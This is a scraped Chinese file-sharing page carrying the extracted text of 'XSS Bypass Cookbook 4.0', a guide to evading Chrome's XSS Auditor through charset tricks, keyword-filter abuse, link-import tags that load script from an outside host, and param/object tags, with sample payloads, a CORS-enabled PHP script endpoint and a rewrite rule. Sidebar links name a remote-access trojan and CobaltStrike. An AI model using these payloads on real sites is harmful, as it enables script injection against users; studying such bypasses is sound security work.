xss_bypass_cookbook_4.0.pdf.zip_XSS资源-CSDN文库

共1个文件

pdf：1个

版权申诉

xss

148 浏览量 2022-09-23 18:57:22 上传评论收藏 538KB ZIP 举报

资源推荐

资源详情

资源评论

收起资源包目录

xss_bypass_cookbook_4.0.pdf.zip （1个子文件）

xss_bypass_cookbook_4.0.pdf 576KB

XSS Bypass Cookbook ver 4.0

XSS Bypass CookbookXSS Bypass Cookbook

[+] Author: math1as

[+] Team: L team

#1 引言#1 引言

在目前的web安全漏洞中,xss一直属于热门的一类,而它对用户造成的危害较大。

因此也引发了不少安全爱好者和专业工程师的研究。

而html5等新技术的使用和具体业务场景中复杂的环境带给了xss更大的生存空间。

而且不同xss向量也因为浏览器的特性会有所区别

比如chrome在加载资源时会校验服务器返回的mimeType

而firefox则根据标签自己设定的type来做出处理

本文在目前较为常见的几种过滤条件下,简单的探讨了xss这一技术的应用以及绕过

相对于上一版,新增了一个chrome flash disabled bypass相对于上一版,新增了一个chrome flash disabled bypass

补充了一部分利用细节和局限性,以及最新版本的验证补充了一部分利用细节和局限性,以及最新版本的验证

从@masatoki处收录了一个chrome xss auditor bypass从@masatoki处收录了一个chrome xss auditor bypass

增加了部分技巧增加了部分技巧

#1.1 研究范围#1.1 研究范围

XSS在各种具体业务场景下的应用和绕过

#1.2 测试环境#1.2 测试环境

在本文所叙述的测试环境中,用到的浏览器版本如下:

chrome 54.0 / firefox 50.0 均为当前的最新发行版本

ie系列由于精力有限未能进行测试

正文中所有以x=开头的payload,均是在这个输出环境下测试的,代码如下

<input value="<?php

error_reporting(0);

$content=$_GET['x'];

echo $content;

?>" />

输出在了input的value属性里

而对于直接输出在上下文或者其他位置的情况,则做了额外的探讨

#2 Bypass Chrome XSS Auditor#2 Bypass Chrome XSS Auditor

反射型XSS作为最容易发现和挖掘的一种XSS,活跃了非常久的时间。

但是到现在它的作用已经被逐步的弱化

特别是浏览器,比如chrome自身的xss auditor在其中扮演了非常重要的角色

它通过直接检查了输入的内容,判断其是否在输出中出现。

(当然,基本是针对'危险标签'和可能导致javascript执行的地方)

如果符合其过滤条件,那么将直接阻止脚本的执行,比如给出这样的提示

因此给反射XSS带来了不小的难度,但是它就真的那么坚固而不可挑战么?

让我们来从各个方面对它进行逐步的分析吧

本文里所提到的auditor bypass

大部分是输出在属性里的情况,直接输出而被绕过的情况已经很少见了。大部分是输出在属性里的情况,直接输出而被绕过的情况已经很少见了。

#2.1 字符集问题产生的bypass#2.1 字符集问题产生的bypass

由于chrome浏览器对ISO-2022-JP等编码的处理不当

比如在页面没有设置默认的charset时,使用了这个日语字符集

在会被auditor检查的部分添加%0f字符,就可以绕过了

比如如下payload

在chrome 58中,直接使用%1B%28B会遭到拦截在chrome 58中,直接使用%1B%28B会遭到拦截

因此需要使用%1B(B 使其混淆后使用因此需要使用%1B(B 使其混淆后使用

这其实是利用了浏览器处理字符集时产生的问题。

目前的chrome 54/55仍然没有进行修复

随着以后字符集的更新,这种问题仍然有可能出现。

#2.2 过滤关键字造成的bypass#2.2 过滤关键字造成的bypass

在我们的xss测试过程中,可能最不喜欢的就是各类过滤了,它给我们xss带来了很大的难度

但是在特定场合,它却能起到让我们绕过auditor的作用

chrome的xss auditor主要基于如下规则(这种描述也许比较粗糙)

(1)输入的内容是否直接在输出中出现

(2)输入是否有敏感标签,或者造成脚本执行的事件

那么聪明的你可能就想到了,如果替换掉了敏感关键字,比如开发者如果替换掉了<script>标签

那么对于这样的一个输出在属性里的例子那么对于这样的一个输出在属性里的例子

while(1)

{

if(stripos($content,"<script>")===false) break;

$content=str_replace("<script>","",$content);

}

如果我们用<script>分割掉敏感的事件,那么我们的输入在经过auditor检查的时候,就被放行了。

而真正打印内容进行渲染的时候,由于$content中的<script>被过滤,因此我们的xss脚本成功的执行了

用这种方法,成功的绕过了xss auditor

那么它是否可以被用在直接输出的反射XSS中呢?那么它是否可以被用在直接输出的反射XSS中呢?

我们把这个输出点的代码改成如下:

<?php

$content=$_GET['x'];

while(1)

{

if(stripos($content,"<script>")===false) break;

$content=str_replace("<script>","",$content);

}

echo $content;

事实证明,这种方法是完全可行的

#2.3 协议理解产生的bypass#2.3 协议理解产生的bypass

chrome的xss auditor 在检查加载脚本的路径时,有一个比较有趣的地方

如果加载的脚本在自身目录下,那么如果xss的输出点在html属性中如果xss的输出点在html属性中

auditor是不会对其进行拦截的

但是如果检测到了 // 这样的外部链接的话,就会触发auditor无法加载外部脚本

这时就有一个小细节了,在加载其他脚本时如果我们输入了的链接使用了http: 而没有带上 // 的话

它会仍然被视为在这个目录下,比如我们构造payload

x=1"><link%20rel="import"%20href=http:www.math1as.com

明显的,它被视为了一个目录,从而返回了不存在,此时auditor也不会对其进行拦截

那么换个思路想想. 使用http: 虽然被认为是一个目录,但是https呢

我们使用https来代替http:

发现成功的把它当作了一个完整的https链接进行了加载

注意的是这里不能使用>或者"进行闭合,否则就会触发auditor的标签完整性检测

因此,像<script src="evil" ></script> 这样需要闭合的脚本就不能使用了

接下来的问题就是,既然不能用"闭合,也就意味着我们的链接最后始终会带有一个"

并且,由于加载外部文档会触发CROS,所以我们需要设置其header来允许访问

因此,我们在.htaccess新建一条url转发

RewriteRule 1.\"$ /xss/t1.php

并在t1.php中写入如下代码

<?php

header("Access-Control-Allow-Origin:*");

echo "<script>alert(1)</script>";

这样我们使用如下payload,就可以成功的把xss脚本给加载过来了

x=1"><link%20rel="import"%20href=https:www.math1as.com/1.

成功的绕过了auditor

这个payload在最新的chrome 54/55中有效这个payload在最新的chrome 54/55中有效

那么它是否可以被用在直接输出的反射XSS中呢?那么它是否可以被用在直接输出的反射XSS中呢?

假设我们处于一个直接输出的xss点当中,具体代码如下

<body>

<?php

$content=$_GET['x'];

echo $content;

</body>

这时我们使用如下payload

x=<link%20rel="import"%20href=https:www.math1as.com/

那么,很显然的,这个payload是一个无条件的chrome auditor bypass,适用于最新版chrome 54/55那么,很显然的,这个payload是一个无条件的chrome auditor bypass,适用于最新版chrome 54/55

这个payload由原作者发现后,认为是一个输出在属性中的bypass,而在我和phithon复现后,发现其实是无视条件直接触发

的

那么,既然这样做可以加载外部资源,那么使用<embed>来加载一个外部flash产生xss是不是也可以呢?

首先我们需要让这个带有"结尾的后缀能被成功的响应为一个flash文件

在apache的mime.types配置文件中添加了s"的后缀名

可以看到返回了application/x-shockwave-flash

资源也成功加载了,但是我们的chrome并不领情

当然这里需要说明是的对于firefox来说它是不会分辨mimetype的,但是chrome就会进行校验。

因此,很遗憾的,我们的<embed>不能使用在这里。

#2.5 <link>标签中的href属性导致的绕过#2.5 <link>标签中的href属性导致的绕过

from @masatoki

在link标签中输入正常的路径后,在末尾插入<script>标签,产生了绕过的效果

在chrome 58下复现成功

#2.5 <param>标签导致的绕过#2.5 <param>标签导致的绕过

在chrome的源码HTMLObjectElement.cpp 文件中,有如下的定义

if (url.isEmpty() && urlParameter.isEmpty() &&

(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||

equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))

urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

所以当我们输入这几个name的时候,它就会加载外来的flash文件

这时候我们需要object标签来始终允许脚本运行,并使用如下payload

成功绕过

评论收藏

内容反馈

版权申诉

我虽横行却不霸道

粉丝: 70
资源: 1万+

xss_bypass_cookbook_4.0.pdf.zip_XSS

XSS_Bypass_Cookbook_ver_3.0.pdf

Using_XSS_to_bypass_CSRF_protection

java_jvm_参数_-Xms_-Xmx_-Xmn_-Xss_调优总结.pdf

XSS_Rays.zip_XSS Rays 下载_tool_xss扫描_xss扫描器_漏洞扫描

从一个被忽略的漏洞到_XSS_僵尸网络.pdf

XSS.zip_XSS_c xss

XSS to SQL v.01.zip_XSS_masm_masm32_sql

104_XSS_Filter_Evasion_And_WAF_Bypassing.pdf

信息安全_数据安全_2_ZN2018_WV_-_Blind_Xss_(femida_plugin).pdf

xss_javaxss_XSS_

看一看XSS_原来像梦一场.pdf

xss_test.7z

XSS_Cheat_Sheet_2020_Edition:xss裂缝模糊测试payload的最佳集合2020版

xss.zip_3A58_XSS 检测_country59a_xss/level11_xss。

XSS_跨站代码大全

XSS利用与挖掘-_更新版.rar_Exploit_XSS_XSS 利用_pkav_web exploit

Python库 | xss_utils-0.3.0-py2.py3-none-any.whl

酷啦影视(个人修正QVODCMS点播专家4.0).rar

冰河的渗透实战笔记-冰河.pdf

大灰狼远控2021最新版，解压密码222

J-LINK V10 V11固件.rar

ISO21434.pdf

Web安全漏洞扫描工具-AWVS14

CTF 竞赛入门指南（ctf-all-in-one）.pdf

Web中间件常见漏洞总结.pdf

stm32f103 adc采样+dma传输+fft处理 频率计_fft处理_stm32_ADCFFT_频率计_ADC采样_

jts-1.14.zip

CobaltStrike4.4.zip

cisp-pte渗透测试资源下载 （考试环境+题库）

最新资源

stm32f103 adc采样+dma传输+fft处理频率计_fft处理_stm32_ADCFFT_频率计_ADC采样_

cisp-pte渗透测试资源下载（考试环境+题库）